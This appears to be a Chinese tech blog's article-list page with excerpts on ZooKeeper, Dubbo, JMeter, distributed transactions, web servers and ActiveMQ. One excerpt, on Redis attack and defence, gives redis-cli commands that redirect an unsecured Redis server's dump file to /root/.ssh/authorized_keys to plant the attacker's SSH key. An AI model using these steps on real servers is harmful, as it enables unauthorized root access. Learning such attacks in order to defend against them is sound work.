- 浏览: 51448 次
- 性别:
- 来自: 北京
最新评论
文章列表
zoo.cfg配置:
initLimit=5
syncLimit=2
clientPort=2181
tickTime=2000
initLimit:集群中的follower服务器(F)与leader服务器(L)之间初始连接时能容忍的最多心跳数(tickTime的数量)。
syncLimit:集群中的follower服务器与leader服务器之间请求和应答之间能容忍的最多心跳数。
tickTime: Zookeeper 服务器之间或客户端与服务器之间维持心跳的时间间隔。
集群配置主要是以下两点:
1、在每个zookeeper的data目录创建myid文件,内 ...
dubbokeeper的安装
- 博客分类:
- dubbo
准备事项:
1、相关的dubbo生产者和消费者开启监听,即增加配置:<dubbo:monitor protocol="registry"/>
2、介于dubbo-admin管控台(2.5.4版本)功能弱和存在一些bug,以及dubbo-monitor的功能不易使用等等问题选择dubbokeeper作为这 ...
jmeter压测dubbo(java)接口
- 博客分类:
- dubbo
准备工作
1、maven工程,dubbo消费者
2、普通java接口同样适用本案例
操作步骤
1、引入jar包
<!--jmeter依赖的jar包 -->
<dependency>
<groupId>org.apache.jmeter</groupId>
<artifactId>ApacheJMeter_core</artifactId>
<version>3.0</version>
<exclusions>
<ex ...
使用``来包含表名,即:select * from `statistics_scm-service-goods`
-为mysql特殊字符
CAP和Base理论理解
- 博客分类:
- Transaction
分布式事务
随着分布式计算的发展,事务在分布式计算领域也得到了广泛的应用。在单机数据库中,我们很容易能够实现一套满足ACID特性的事务处理系统,但在分布式数据库中,数据分散在各台不同的机器上,如何对这些数据进行分布式的事务处理具有非常大的挑战。
分布式事务是指事务的参与者、支持事务的服务器、资源服务器以及事务管理器分别位于分布式系统的不同节点上,通常一个分布式事务中会涉及对多个数据源或业务系统的操作。
可以设想一个最典型的分布式事务场景:一个跨银行的转账操作涉及调用两个异地的银 行服务,其中一个是本地银行提供的取款服务,另一个则是目标银行提供的存款服务,这两 ...
分布式系统一致性简述
- 博客分类:
- Transaction
分布式一致性的提出
在分布式系统中要解决的一个重要问题就是数据的复制。在我们的日常开发经验中,相信很多开发人员都遇到过这样的问题:假设客户端C1将系统中的一个值K由V1更新为V2,但客户端C2无法立即读取到K的 ...
JTA事务简述
- 博客分类:
- Transaction
Java事务API(Java Transaction API,简称JTA )是一个Java企业版的应用程序接口,在Java环境中,允许完成跨越多个XA资源的分布式事务。
JTA和它的同胞Java事务服务(JTS;Java TransactionService),为J2EE平台提供了分布式事务服务。不过JTA ...
本地事务和全局事务
- 博客分类:
- Transaction
Java事务从事务的实现角度分为:JDBC事务、JTA(Java Transaction API)事务、容器事务。从事务管理的角度,可以把Java中用到的事务分为本地事务和全局事务。
本地事务不用事务的编程框架来管理事务,直接使用资源管理器来控制事务。典型的就是java.sql.Connection中的setAutoCommit、commit、rollback方法。
全局事务是由资源管理器管理和协调的事务,它可以跨越多个数据库和进程,是一个标准的分布式事务。全局事务是一个DTP模型的事务,所谓DTP模型指的是X/Open DTP(X/Open Distributed Tra ...
三种不同实现方式的事务
- 博客分类:
- Transaction
Java事务从事务的实现角度分为:JDBC事务、JTA(Java Transaction API)事务、容器事务。从事务管理的角度,可以把Java中用到的事务分为本地事务和全局事务。
本地事务不用事务的编程框架来管理事务,直接使用资源管理器来控 ...
WebSphere
WebSphere Application Server 是 一 种功能完善、开放的Web应用程序服务器,是IBM电子商务计划的核心部分,它是基于 Java 的应用环境,用于建立、部署和管理 Internet 和 Intranet Web 应用程序。 这一整套产品进行了扩展, ...
在UNIX和LINUX平台下使用最广泛的免费web服务器是Nginx、NCSA HTTPd和APACHE服务器,而Windows平台NT/2000/2003使用IIS的WEB服务器。在选择使用WEB服务器应考虑的本身特性因素有:性能、安全性、日志和统计、虚拟主机、代理服务器、缓冲服务和集成应用程序等,下面介绍几种常用的WEB服务器。统计数据显示,超过80%的web应用程序和网站都是使用的开源web服务器。如下介绍目前市场上最流行的5大开源web服务器,并简要回顾它们的历史,技术特性以及更多相关内容,方便了解选择。根据百度百科介绍:Web服务器一般指网站服务器,是指驻留于因特网上某种类型计算机 ...
事务的ACID特性
- 博客分类:
- Transaction
事务
定义:所谓事务,它是一个操作序列,这些操作要么都执行,要么都不执行,它是一个不可分割的工作单位。
ACID
ACID,是指在可靠数据库管理系统(DBMS)中,事务(transaction)所应该具有的四个特性:原子性(Atomicity)、 ...
redis攻与防
思路:
将入侵者(centos201)的公钥写入到被入侵者(centos200,没有安全措施redis服务器)上,从而达到直联centos200的目的。
1、生成本机公钥(centos201)
ssh-keygen -t rsa
2、在本机执行命令完成入侵
redis-cli -h centos200 -p 6379 config set dir /root/.ssh
redis-cli -h centos200 -p 6379 config set dbfilename "authorized_keys"
redis ...
查看CPU信息(型号)
[root@centos200 ~]# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
8 Intel(R) Core(TM) i7-4720HQ CPU @ 2.60GHz
# 查看物理CPU个数
[root@centos200 ~]# cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l
1
# 查看每个物理CPU中core的个数(即核数)
[root@centos200 ~]# cat ...
ActiveMQ集群之Master-Slave
- 博客分类:
- MQ
Activemq默认主要使用2个端口,8161(Web管理控制台端口)、61616(提供消息队列服务的端口)
ActiveMQ具有强大和灵活的集群功能,但在使用的过程中会发现很多的缺点,ActiveMQ的集群方式主要由两种:Master-Slave和Broker Cluster。
1、Master-Slave
Master-Slave方式中,只能是Master提供服务,Slave是实时地备份Master的数据,以保证消息的可靠性。当Master失效时,Slave会自动升级为Master,客户端会自动连接到Slave上工作。Master-Slave模式分为三类:Pure Master S ...